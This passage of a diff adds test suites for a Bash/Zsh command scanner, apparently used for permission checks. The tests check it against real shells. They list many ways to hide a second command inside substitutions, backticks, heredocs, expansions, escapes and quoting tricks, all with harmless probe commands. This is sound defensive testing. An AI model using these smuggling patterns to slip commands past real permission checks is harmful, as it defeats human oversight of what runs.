||||
for (const argument of [expression, `"${expression}"`]) {
|
||||
const result = ShellScan.scan(`echo ${argument}; pwd`)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands[0]).toEqual({
|
||||
resource: `echo ${argument}`,
|
||||
words: ["echo", expression],
|
||||
rawWords: ["echo", argument],
|
||||
})
|
||||
expect(result.commands.slice(1, -1).map((command) => command.words[0])).toEqual(
|
||||
expression.includes('"$(printf') ? ["printf", "printf"] : ["printf"],
|
||||
)
|
||||
expect(result.commands.at(-1)).toEqual({ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] })
|
||||
}
|
||||
})
|
||||
|
||||
test.each([
|
||||
'VALUE=$((1 + $(printf 2))) echo ok >"$((3 + $(printf 4)))"',
|
||||
'echo "$(echo $((1 + $(printf 2))))"',
|
||||
'{ echo "$((1 + $(printf 2)))"; }',
|
||||
'(echo "$((1 + $(printf 2)))")',
|
||||
'if true; then echo "$((1 + $(printf 2)))"; fi',
|
||||
])("recognizes arithmetic in existing shell contexts: %s", (source) => {
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toContain("printf")
|
||||
expect(result.commands.map((command) => command.words[0])).toContain("echo")
|
||||
})
|
||||
|
||||
test("does not expand arithmetic inside single quotes", () => {
|
||||
expect(ShellScan.scan("echo '$((1 + $(ignored)))'")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: "echo '$((1 + $(ignored)))'",
|
||||
words: ["echo", "$((1 + $(ignored)))"],
|
||||
rawWords: ["echo", "'$((1 + $(ignored)))'"],
|
||||
},
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"echo $((1 + 2)",
|
||||
"echo $(((1 + 2))",
|
||||
"echo $((1 + $(printf 2))) &&",
|
||||
"echo $((1 + $(printf 2 &&)))",
|
||||
"echo $((1; printf 2))",
|
||||
])("rejects malformed arithmetic syntax: %s", (source) => {
|
||||
expect(ShellScan.scan(source).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test("bounds arithmetic nesting, input size, and repeated conditional work", () => {
|
||||
expect(ShellScan.scan(`echo $((${"(".repeat(33)}1${")".repeat(33)}))`).kind).toBe("opaque")
|
||||
expect(ShellScan.scan(`echo ${"$((".repeat(33)}1${"))".repeat(33)}`).kind).toBe("opaque")
|
||||
expect(ShellScan.scan(`echo $((${"1+".repeat(32 * 1024)}1))`).kind).toBe("opaque")
|
||||
const source = Array.from({ length: 16 }).reduce<string>(
|
||||
(source) => `if true; then echo $((1 + $(${source}))); fi`,
|
||||
`printf ${"1".repeat(1024)}`,
|
||||
)
|
||||
expect(ShellScan.scan(source).kind).toBe("scanned")
|
||||
expect(ShellScan.scan("echo $((1+1))").kind).toBe("scanned")
|
||||
})
|
||||
})
|
||||
|
||||
describe("Bash arithmetic real-shell oracle", () => {
|
||||
const expressions = [
|
||||
["$((1+1))", "2"],
|
||||
["$(((1 + 2) * (3 + (4))))", "21"],
|
||||
["$((value + $other + ${third}))", "9"],
|
||||
["$((value += 2, value > 1 ? value << 2 : ~value))", "16"],
|
||||
["$(((16#ff & 0xff) | (2 ** 3)))", "255"],
|
||||
["$((1 + $((2 * 3))))", "7"],
|
||||
["$((1 + $(scan_probe)))", "3"],
|
||||
["$((1 + `scan_probe`))", "3"],
|
||||
["$(((1 + $(scan_probe)) * $((2 + $(scan_probe)))))", "12"],
|
||||
['$((1 + $(printf "%s" "$(scan_probe)")))', "3"],
|
||||
] as const
|
||||
|
||||
for (const shell of ["bash", "zsh"]) {
|
||||
const executable = Bun.which(shell)
|
||||
test.skipIf(!executable).each(expressions)(`${shell} evaluates %s independently`, (expression, output) => {
|
||||
for (const argument of [expression, `"${expression}"`]) {
|
||||
const source = `value=2; other=3; third=4; printf '%s\\n' ${argument}`
|
||||
const execution = Bun.spawnSync(
|
||||
[
|
||||
executable!,
|
||||
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
|
||||
"-c",
|
||||
`scan_probe() { printf 'scan_probe\\n' >&2; printf 2; }; ${source}`,
|
||||
],
|
||||
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
|
||||
)
|
||||
expect(execution.exitCode).toBe(0)
|
||||
expect(execution.stdout.toString()).toBe(`${output}\n`)
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
const observed = execution.stderr.toString().trim().split("\n").filter(Boolean)
|
||||
expect(observed).toEqual(Array.from({ length: expression.split("scan_probe").length - 1 }, () => "scan_probe"))
|
||||
expect(result.commands.filter((command) => command.words[0] === "scan_probe")).toHaveLength(observed.length)
|
||||
expect(result.commands[0]?.words).toEqual(["printf", "%s\\n", expression])
|
||||
}
|
||||
})
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,266 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
const executions = [
|
||||
['printf safe; "scan_probe"', "scan_probe"],
|
||||
["printf safe; 'scan_probe'", "scan_probe"],
|
||||
["printf safe; $(printf scan_probe)", "$(printf scan_probe)"],
|
||||
["X=${unset:-a b} scan_probe", "scan_probe"],
|
||||
["X=value # comment\nscan_probe", "scan_probe"],
|
||||
['printf "%s" `\\$(scan_probe)`', "scan_probe"],
|
||||
['printf %s `printf \\\\"; scan_probe; printf \\\\"`', "scan_probe"],
|
||||
["if true; then X=x scan_probe; fi", "scan_probe"],
|
||||
["if true; then >/dev/null X=x scan_probe; fi", "scan_probe"],
|
||||
["printf safe; { scan_probe; }", "scan_probe"],
|
||||
["if true; then { scan_probe; }; fi", "scan_probe"],
|
||||
["s{can_probe,can_probe}", "s{can_probe,can_probe}"],
|
||||
['printf safe; # comment\n"scan_probe"', "scan_probe"],
|
||||
["printf safe; \\\n'scan_probe'", "scan_probe"],
|
||||
] as const
|
||||
|
||||
describe("Bash execution safety", () => {
|
||||
for (const shell of ["bash", "zsh"]) {
|
||||
const executable = Bun.which(shell)
|
||||
test.skipIf(!executable).each([...executions])(`${shell} command syntax is visible: %s`, (source, head) => {
|
||||
const execution = Bun.spawnSync(
|
||||
[
|
||||
executable!,
|
||||
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
|
||||
"-c",
|
||||
`scan_probe() { printf 'executed\\n' >&2; }; ${source}`,
|
||||
],
|
||||
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
|
||||
)
|
||||
expect(execution.stderr.toString()).toContain("executed\n")
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") throw new Error(result.reason)
|
||||
expect(result.commands.map((command) => command.words[0])).toContain(head)
|
||||
})
|
||||
}
|
||||
|
||||
test.each([
|
||||
"printf ok && # comment",
|
||||
'"if" true; then printf safe; fi',
|
||||
"X=x if true; then printf safe; fi",
|
||||
"(printf ok) &&",
|
||||
"{ printf ok; } ||",
|
||||
"(printf ok) |",
|
||||
"(printf ok) |&",
|
||||
])("rejects malformed command positions: %s", (source) => {
|
||||
expect(ShellScan.scan(source).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each([" ", "\t"])("recognizes shell whitespace %j", (space) => {
|
||||
expect(ShellScan.scan(`printf${space}ok`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `printf${space}ok`, words: ["printf", "ok"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["\r", "\v", "\f", "\u00a0", "\ufeff"])("does not normalize non-shell whitespace %j", (space) => {
|
||||
expect(ShellScan.scan(`${space}printf ok`).kind).toBe("opaque")
|
||||
expect(ShellScan.scan(`printf${space}ok`).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each(["'123'", '"123"', "1\\23"])("does not consume quoted command names as fd prefixes: %s", (head) => {
|
||||
expect(ShellScan.scan(`${head}>/dev/null argument`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `${head}>/dev/null argument`, words: ["123", "argument"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"'' > output",
|
||||
"''",
|
||||
"> output (printf ok)",
|
||||
"(printf ok) >output pwd",
|
||||
"{ printf ok; } >output X=x",
|
||||
"(printf ok) &>output pwd",
|
||||
])("keeps unsupported group positions and empty command names opaque: %s", (source) => {
|
||||
expect(ShellScan.scan(source).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each(["X=value > /dev/null", "X=x 2> output", "X=x < input", "> /dev/null", "2>> output", ">output 2>&1"])(
|
||||
"scans redirects without inventing an executable command: %s",
|
||||
(source) => {
|
||||
expect(ShellScan.scan(source)).toEqual({ kind: "scanned", commands: [] })
|
||||
},
|
||||
)
|
||||
|
||||
test.each([">", "X=x >", "X=x > # comment\nprintf ok", ">; printf ok", "(printf ok) >", "{ printf ok; } >"])(
|
||||
"still requires redirect targets: %s",
|
||||
(source) => {
|
||||
expect(ShellScan.scan(source)).toEqual({ kind: "opaque", reason: "invalid-redirect" })
|
||||
},
|
||||
)
|
||||
|
||||
test.each([
|
||||
"{ printf ok; } > output",
|
||||
"{ printf ok; } 2> output",
|
||||
"{ printf ok; } &> output",
|
||||
"(printf ok) > output",
|
||||
"{ printf ok; }; X=x > output",
|
||||
])("scans leading groups and their redirects without synthetic commands: %s", (source) => {
|
||||
expect(ShellScan.scan(source)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["X=x >$(printf output)", ">$(printf output)", "{ :; } >$(printf output)", "(:) >$(printf output)"])(
|
||||
"retains explicit substitutions in otherwise commandless redirects: %s",
|
||||
(source) => {
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(
|
||||
source.includes(":") ? [":", "printf"] : ["printf"],
|
||||
)
|
||||
expect(result.commands.at(-1)).toEqual({
|
||||
resource: "printf output",
|
||||
words: ["printf", "output"],
|
||||
rawWords: ["printf", "output"],
|
||||
})
|
||||
},
|
||||
)
|
||||
|
||||
test("scans a list following a group redirect suffix", () => {
|
||||
expect(ShellScan.scan("(printf ok) >output && pwd")).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] },
|
||||
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("retains explicit colon commands and their redirects after a group", () => {
|
||||
expect(ShellScan.scan("(printf ok); : > output")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "printf ok", words: ["printf", "ok"] },
|
||||
{ resource: ": > output", words: [":"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("does not repeatedly rescan nested conditionals", () => {
|
||||
const source = Array.from({ length: 16 }).reduce<string>(
|
||||
(source) => `if true; then echo $(${source}); fi`,
|
||||
`printf ${"x".repeat(1024)}`,
|
||||
)
|
||||
expect(ShellScan.scan(source).kind).toBe("scanned")
|
||||
expect(ShellScan.scan("if true; then echo $(printf safe); fi")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "true", words: ["true"] },
|
||||
{ resource: "echo $(printf safe)", words: ["echo", "$(printf safe)"] },
|
||||
{ resource: "printf safe", words: ["printf", "safe"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"(printf safe # ) ignored\nscan_probe)",
|
||||
"{ printf safe; # } ignored\nscan_probe; }",
|
||||
'echo "$(printf "\'"; scan_probe)"',
|
||||
'echo "$(printf "%s" "$(printf ")")"; scan_probe)"',
|
||||
])("does not lose commands through delimiter or quote confusion: %s", (source) => {
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") throw new Error(result.reason)
|
||||
expect(result.commands.map((command) => command.words[0])).toContain("scan_probe")
|
||||
})
|
||||
})
|
||||
|
||||
describe("Bash real-shell differential grammar", () => {
|
||||
const probes = ["scan_first", "scan_second", "scan_third"]
|
||||
const words = [
|
||||
"scan_first",
|
||||
"'scan_first'",
|
||||
's"can_"first',
|
||||
"scan_first 'literal; $(not_a_command)'",
|
||||
"X=value scan_first",
|
||||
'X="$(scan_second)" scan_first',
|
||||
'scan_first "$(scan_second)"',
|
||||
"scan_first `scan_second`",
|
||||
'scan_first "$(printf "\'"; scan_second)"',
|
||||
]
|
||||
const contexts = [
|
||||
(source: string) => source,
|
||||
(source: string) => `\n\n${source}\n\n`,
|
||||
(source: string) => `${source}; scan_third`,
|
||||
(source: string) => `${source} && scan_third`,
|
||||
(source: string) => `${source} | scan_third`,
|
||||
(source: string) => `(${source})`,
|
||||
(source: string) => `{ ${source}; }`,
|
||||
(source: string) => `scan_third "$(${source})"`,
|
||||
(source: string) => `if true; then ${source}; fi`,
|
||||
(source: string) => `Y="$(${source})" scan_third`,
|
||||
(source: string) => `${source} >/dev/null`,
|
||||
]
|
||||
|
||||
for (const shell of ["bash", "zsh", Bun.which("dash") ? "dash" : "sh"]) {
|
||||
const executable = Bun.which(shell)
|
||||
const sources = (
|
||||
shell === "bash" || shell === "zsh"
|
||||
? [...words, "scan_first <(scan_second)", 'values=(value "$(scan_second)"); scan_first']
|
||||
: words
|
||||
).flatMap((source) => contexts.map((context) => context(source)))
|
||||
|
||||
test.skipIf(!executable).each(sources)(`${shell}: %s`, (source) => {
|
||||
const execution = Bun.spawnSync(
|
||||
[
|
||||
executable!,
|
||||
...(shell === "bash" ? ["--noprofile", "--norc"] : shell === "zsh" ? ["-f"] : []),
|
||||
"-c",
|
||||
probes.map((name) => `${name}() { printf '${name}\\n' >&2; }; `).join("") + source,
|
||||
],
|
||||
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
|
||||
)
|
||||
expect(execution.exitCode).toBe(0)
|
||||
const observed = execution.stderr.toString().trim().split("\n")
|
||||
expect(observed.length).toBeGreaterThan(0)
|
||||
expect(observed.every((name) => probes.includes(name))).toBe(true)
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") throw new Error(result.reason)
|
||||
for (const name of observed) expect(result.commands.map((command) => command.words[0])).toContain(name)
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
describe("Bash real-shell redirect-only statements", () => {
|
||||
for (const shell of ["bash", "zsh"]) {
|
||||
const executable = Bun.which(shell)
|
||||
test
|
||||
.skipIf(!executable)
|
||||
.each([
|
||||
"VALUE=ok >/dev/null; scan_probe",
|
||||
">/dev/null; scan_probe",
|
||||
"(scan_probe) >/dev/null",
|
||||
"{ scan_probe; } >/dev/null",
|
||||
"{ scan_probe; } >$(scan_target)",
|
||||
"VALUE=ok >$(scan_target); scan_probe",
|
||||
])(`${shell} preserves commands around redirect-only syntax: %s`, (source) => {
|
||||
const execution = Bun.spawnSync(
|
||||
[
|
||||
executable!,
|
||||
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
|
||||
"-c",
|
||||
`scan_probe() { printf 'scan_probe\\n' >&2; }; scan_target() { printf 'scan_target\\n' >&2; printf /dev/null; }; ${source}`,
|
||||
],
|
||||
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
|
||||
)
|
||||
expect(execution.exitCode).toBe(0)
|
||||
expect(execution.stdout.toString()).toBe("")
|
||||
const observed = execution.stderr.toString().trim().split("\n").sort()
|
||||
expect(observed).toEqual(source.includes("scan_target") ? ["scan_probe", "scan_target"] : ["scan_probe"])
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0]).sort()).toEqual(observed)
|
||||
})
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,243 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { Effect } from "effect"
|
||||
import { ShellParse } from "../../src/shell/parse.js"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
const fixtures = [
|
||||
["if true; then VALUE=$(scan_probe); fi", ["true", "scan_probe"]],
|
||||
["if VALUE=$(scan_probe); then :; fi", ["scan_probe", ":"]],
|
||||
["if true; then if false; then :; else scan_probe; fi; fi", ["true", "false", ":", "scan_probe"]],
|
||||
["for value in one two; do if true; then scan_probe; fi; done", ["true", "scan_probe"]],
|
||||
["for value in $(scan_probe); do :; done", ["scan_probe", ":"]],
|
||||
["for ((i=0; i<1; i++)); do scan_probe; done", ["scan_probe"]],
|
||||
["while false; do scan_probe; done; scan_after", ["false", "scan_probe", "scan_after"]],
|
||||
["until true; do scan_probe; done; scan_after", ["true", "scan_probe", "scan_after"]],
|
||||
["case value in value|other) scan_probe;; *) scan_after;; esac", ["scan_probe", "scan_after"]],
|
||||
["case value in (value) case x in x) scan_probe;; esac;; esac", ["scan_probe"]],
|
||||
["case if in if) scan_probe;; esac", ["scan_probe"]],
|
||||
["case $(scan_probe) in value) :;; esac", ["scan_probe", ":"]],
|
||||
["f() { case value in value) scan_probe;; esac; }; f", ["scan_probe", "f"]],
|
||||
["function f { scan_probe; }; f", ["scan_probe", "f"]],
|
||||
["f() (scan_probe); f", ["scan_probe", "f"]],
|
||||
["printf ok; { scan_probe; } | scan_after", ["printf", "scan_probe", "scan_after"]],
|
||||
["(scan_probe # ) ignored\nscan_after)", ["scan_probe", "scan_after"]],
|
||||
["{ scan_probe; # } ignored\nscan_after; }", ["scan_probe", "scan_after"]],
|
||||
["printf '%s' \"$(case value in value) scan_probe;; esac)\"", ["printf", "scan_probe"]],
|
||||
["printf '%s' \"$(for value in one; do scan_probe; done)\"", ["printf", "scan_probe"]],
|
||||
["printf '%s' \"$(printf %s case in; scan_probe)\"", ["printf", "printf", "scan_probe"]],
|
||||
["cat <<EOF\nscan_ignored; $(scan_probe)\nEOF", ["cat", "scan_probe"]],
|
||||
["cat <<'EOF'\nscan_ignored; $(scan_ignored)\nEOF", ["cat"]],
|
||||
["cat <<\\EOF\n$(scan_ignored)\nEOF", ["cat"]],
|
||||
["cat <<E'O'F\n$(scan_ignored)\nEOF", ["cat"]],
|
||||
["cat <<-EOF\n\t$(scan_probe)\n\tEOF", ["cat", "scan_probe"]],
|
||||
["cat <<EOF\n'$(scan_probe)'\nEOF", ["cat", "scan_probe"]],
|
||||
["cat <<EOF\n\\$(scan_ignored)\nEOF", ["cat"]],
|
||||
["cat <<EOF\n$(scan_probe)\nE\\\nOF\nscan_after", ["cat", "scan_probe", "scan_after"]],
|
||||
["cat <<A <<'B'\n$(scan_probe)\nA\n$(scan_ignored)\nB\nscan_after", ["cat", "scan_probe", "scan_after"]],
|
||||
["if cat <<EOF\n$(scan_probe)\nEOF\nthen scan_after; fi", ["cat", "scan_probe", "scan_after"]],
|
||||
["printf '%s' \"$(cat <<EOF\n) $(scan_probe)\nEOF\n)\"", ["printf", "cat", "scan_probe"]],
|
||||
["{ cat <<'EOF'\n} ignored\nEOF\nscan_probe; }", ["cat", "scan_probe"]],
|
||||
['cat <<< "$(scan_probe)"', ["cat", "scan_probe"]],
|
||||
["printf '%s' ${unset:-$(scan_probe)}", ["printf", "scan_probe"]],
|
||||
["printf '%s' \"${unset:-'$(scan_probe)'}\"", ["printf", "scan_probe"]],
|
||||
["printf '%s' ${unset:-'$(scan_ignored)'}", ["printf"]],
|
||||
["printf '%s' \"${unset:-${other:-$(scan_probe)}}\"", ["printf", "scan_probe"]],
|
||||
["printf '%s' \"${value%)}\"; scan_probe", ["printf", "scan_probe"]],
|
||||
["printf '%s' \"${value//x/$(scan_probe)}\"", ["printf", "scan_probe"]],
|
||||
["printf '%s' \"${array[$(scan_probe)]}\"", ["printf", "scan_probe"]],
|
||||
["array[$(scan_probe)]=value; scan_after", ["scan_probe", "scan_after"]],
|
||||
['array=(one "$(scan_probe)"); scan_after', ["scan_probe", "scan_after"]],
|
||||
["array=(<(scan_probe)); scan_after", ["scan_probe", "scan_after"]],
|
||||
["(( value = $(scan_probe) + 1 )); scan_after", ["scan_probe", "scan_after"]],
|
||||
["printf '%s' $((array[$(scan_probe)] + 1))", ["printf", "scan_probe"]],
|
||||
["printf '%s' $[1 + $(scan_probe)]", ["printf", "scan_probe"]],
|
||||
["[[ $(scan_probe) = value ]] && scan_after", ["scan_probe", "scan_after"]],
|
||||
["printf '%s' `printf \\2`; scan_probe", ["printf", "printf", "scan_probe"]],
|
||||
["printf '%s' `printf \\`scan_probe\\``", ["printf", "printf", "scan_probe"]],
|
||||
["printf '%s' $'literal\\\'$(scan_ignored)'; scan_probe", ["printf", "scan_probe"]],
|
||||
['printf %s $"$(scan_probe)"', ["printf", "scan_probe"]],
|
||||
["if true; then \\\nVALUE=$(scan_probe); fi", ["true", "scan_probe"]],
|
||||
["! scan_probe", ["scan_probe"]],
|
||||
["time scan_probe", ["time"]],
|
||||
["{fd}>/dev/null scan_probe", ["scan_probe"]],
|
||||
] as const
|
||||
|
||||
describe("ordinary Bash and Zsh syntax", () => {
|
||||
test.each(fixtures)("extracts actual command nodes: %s", (source, names) => {
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(result.reason)
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
for (const shell of ["bash", "zsh"]) {
|
||||
const executable = Bun.which(shell)
|
||||
for (const [source] of fixtures) {
|
||||
// These are Bash spellings; Zsh's fd allocation is a standalone statement.
|
||||
test.skipIf(
|
||||
!executable ||
|
||||
(shell === "zsh" && (source.includes('$"') || source.startsWith("{fd}") || source.includes("$["))),
|
||||
)(`${shell} accepts the source grammar: ${source}`, () => {
|
||||
const result = Bun.spawnSync([
|
||||
executable ?? shell,
|
||||
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
|
||||
"-n",
|
||||
"-c",
|
||||
source + "\n:",
|
||||
])
|
||||
expect(result.stderr.toString()).toBe("")
|
||||
// Zsh negates the skipped command's status even under NOEXEC.
|
||||
expect(result.exitCode).toBe(shell === "zsh" && source.startsWith("! ") ? 1 : 0)
|
||||
})
|
||||
}
|
||||
|
||||
test
|
||||
.skipIf(!executable)
|
||||
.each([
|
||||
"if true; then VALUE=$(scan_probe); fi",
|
||||
"for value in one; do if true; then scan_probe; fi; done",
|
||||
"f() { case value in value) scan_probe;; esac; }; f",
|
||||
"printf '%s' \"$(case value in (value) scan_probe;; esac)\"",
|
||||
"cat <<EOF\n'$(scan_probe)'\nEOF",
|
||||
"cat <<A <<'B'\n$(scan_probe)\nA\n$(scan_ignored)\nB",
|
||||
'cat <<< "$(scan_probe)"',
|
||||
"printf '%s' \"${unset:-'$(scan_probe)'}\"",
|
||||
"printf '%s' `printf \\`scan_probe\\``",
|
||||
'array=(one "$(scan_probe)"); :',
|
||||
"(( value = $(scan_probe) + 1 )); :",
|
||||
])(`${shell} runs only the explicitly found probes: %s`, (source) => {
|
||||
const execution = Bun.spawnSync(
|
||||
[
|
||||
executable ?? shell,
|
||||
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
|
||||
"-c",
|
||||
`scan_probe() { printf 'scan_probe\\n' >&2; printf 1; }; scan_ignored() { printf 'unexpected\\n' >&2; }; ${source}`,
|
||||
],
|
||||
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
|
||||
)
|
||||
expect(execution.exitCode).toBe(0)
|
||||
expect(execution.stderr.toString()).toBe("scan_probe\n")
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(result.reason)
|
||||
expect(result.commands.filter((command) => command.words[0] === "scan_probe")).toHaveLength(1)
|
||||
expect(result.commands.some((command) => command.words[0] === "scan_ignored")).toBe(false)
|
||||
})
|
||||
}
|
||||
|
||||
test.each([
|
||||
"for value in one; do",
|
||||
"while true; done",
|
||||
"case value in x) echo ok",
|
||||
"cat <<EOF\nunclosed",
|
||||
"echo ${missing",
|
||||
"echo $'missing",
|
||||
])("rejects incomplete syntax: %s", (source) => {
|
||||
expect(ShellScan.scan(source).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test("preserves raw lexical spelling of ANSI-C and locale quoted words", () => {
|
||||
expect(ShellScan.scan("$'pri\\x6etf' $'line\\n' $\"text\"")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ words: ["printf", "line\n", "text"], rawWords: ["$'pri\\x6etf'", "$'line\\n'", '$"text"'] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
["coproc job { scan_probe; }", ["scan_probe"]],
|
||||
["printf '%s' @(one|$(scan_probe))", ["printf", "scan_probe"]],
|
||||
["printf '%s' $((1 + '$(scan_probe)'))", ["printf", "scan_probe"]],
|
||||
["printf '%s' $(((1 + '$(scan_probe)')))", ["printf", "scan_probe"]],
|
||||
['printf %s "${ scan_probe; }"', ["printf", "scan_probe"]],
|
||||
['printf %s "${|scan_probe; }"', ["printf", "scan_probe"]],
|
||||
] as const)("retains explicit substitutions without evaluating expressions: %s", (source, names) => {
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(result.reason)
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
})
|
||||
|
||||
describe("Bash shared heredoc delimiter grammar", () => {
|
||||
test.each([
|
||||
'(cat <<"E\\OF"\nhello\nE\\OF\n)',
|
||||
'cat <<"E\\$OF"\nhello\nE$OF',
|
||||
'(cat <<"E\\$OF"\nhello\nE$OF\n)',
|
||||
'(cat <<-"E\\OF"\n\thello\n\tE\\OF\n)',
|
||||
])("preserves heredoc permission resources and saved prefixes: %s", async (source) => {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
|
||||
expect(await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))).toEqual(legacy)
|
||||
})
|
||||
|
||||
test.each([
|
||||
["cat <<< hello\nprintf done", ["cat", "printf"]],
|
||||
["(cat <<< hello\nprintf done)", ["cat", "printf"]],
|
||||
['printf %s "$(cat <<< hello\nprintf done)"', ["printf", "cat", "printf"]],
|
||||
['(cat <<< "$(printf hello)"\nprintf done)', ["cat", "printf", "printf"]],
|
||||
] as const)("does not reinterpret the tail of a here-string operator: %s", async (source, names) => {
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(result.reason)
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
|
||||
expect(await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))).toEqual(legacy)
|
||||
})
|
||||
|
||||
test.each([
|
||||
['<<"E\\OF"', "E\\OF", true, false],
|
||||
['<<"E\\$OF"', "E$OF", true, false],
|
||||
['<<"E\\`OF"', "E`OF", true, false],
|
||||
['<<"E\\\"OF"', 'E"OF', true, false],
|
||||
['<<"E\\\\OF"', "E\\OF", true, false],
|
||||
["<<'E\\OF'", "E\\OF", true, false],
|
||||
["<<E\\OF", "EOF", true, false],
|
||||
["<<''", "", true, false],
|
||||
["<<$'E\\x4fF'", "EOF", true, false],
|
||||
["<<EO\\\nF", "EOF", false, false],
|
||||
["<<-EOF", "EOF", false, true],
|
||||
['<<-"E\\OF"', "E\\OF", true, true],
|
||||
] as const)("uses identical delimiter decoding in every command context: %j", (header, delimiter, quoted, tabs) => {
|
||||
const body = `cat ${header}\n${tabs ? "\t" : ""}$(printf probe)\n${tabs ? "\t" : ""}${delimiter}`
|
||||
for (const source of [body + "\nprintf done", `(${body}\nprintf done)`, `printf %s "$(${body}\nprintf done)"`]) {
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(result.reason)
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([
|
||||
...(source.startsWith("printf") ? ["printf"] : []),
|
||||
"cat",
|
||||
...(quoted ? [] : ["printf"]),
|
||||
"printf",
|
||||
])
|
||||
expect(result.commands.find((command) => command.words[0] === "cat")).toEqual({
|
||||
resource: body.trim(),
|
||||
words: ["cat"],
|
||||
rawWords: ["cat"],
|
||||
})
|
||||
if (!quoted) expect(result.commands.some((command) => command.resource === "printf probe")).toBe(true)
|
||||
}
|
||||
})
|
||||
|
||||
const bash = Bun.which("bash")
|
||||
test
|
||||
.skipIf(!bash)
|
||||
.each([
|
||||
"(cat <<< hello\nprintf done)",
|
||||
'printf %s "$(cat <<< hello\nprintf done)"',
|
||||
'(cat <<"E\\OF"\n$(scan_probe)\nE\\OF\nprintf done)',
|
||||
'(cat <<"E\\$OF"\n$(scan_probe)\nE$OF\nprintf done)',
|
||||
"(cat <<''\n$(scan_probe)\n\nprintf done)",
|
||||
"(cat <<$'E\\x4fF'\n$(scan_probe)\nEOF\nprintf done)",
|
||||
'(cat <<-"E\\OF"\n\t$(scan_probe)\n\tE\\OF\nprintf done)',
|
||||
"(cat <<EO\\\nF\n$(scan_probe)\nEOF\nprintf done)",
|
||||
])("real Bash agrees with delimiter quoting: %s", (source) => {
|
||||
const execution = Bun.spawnSync(
|
||||
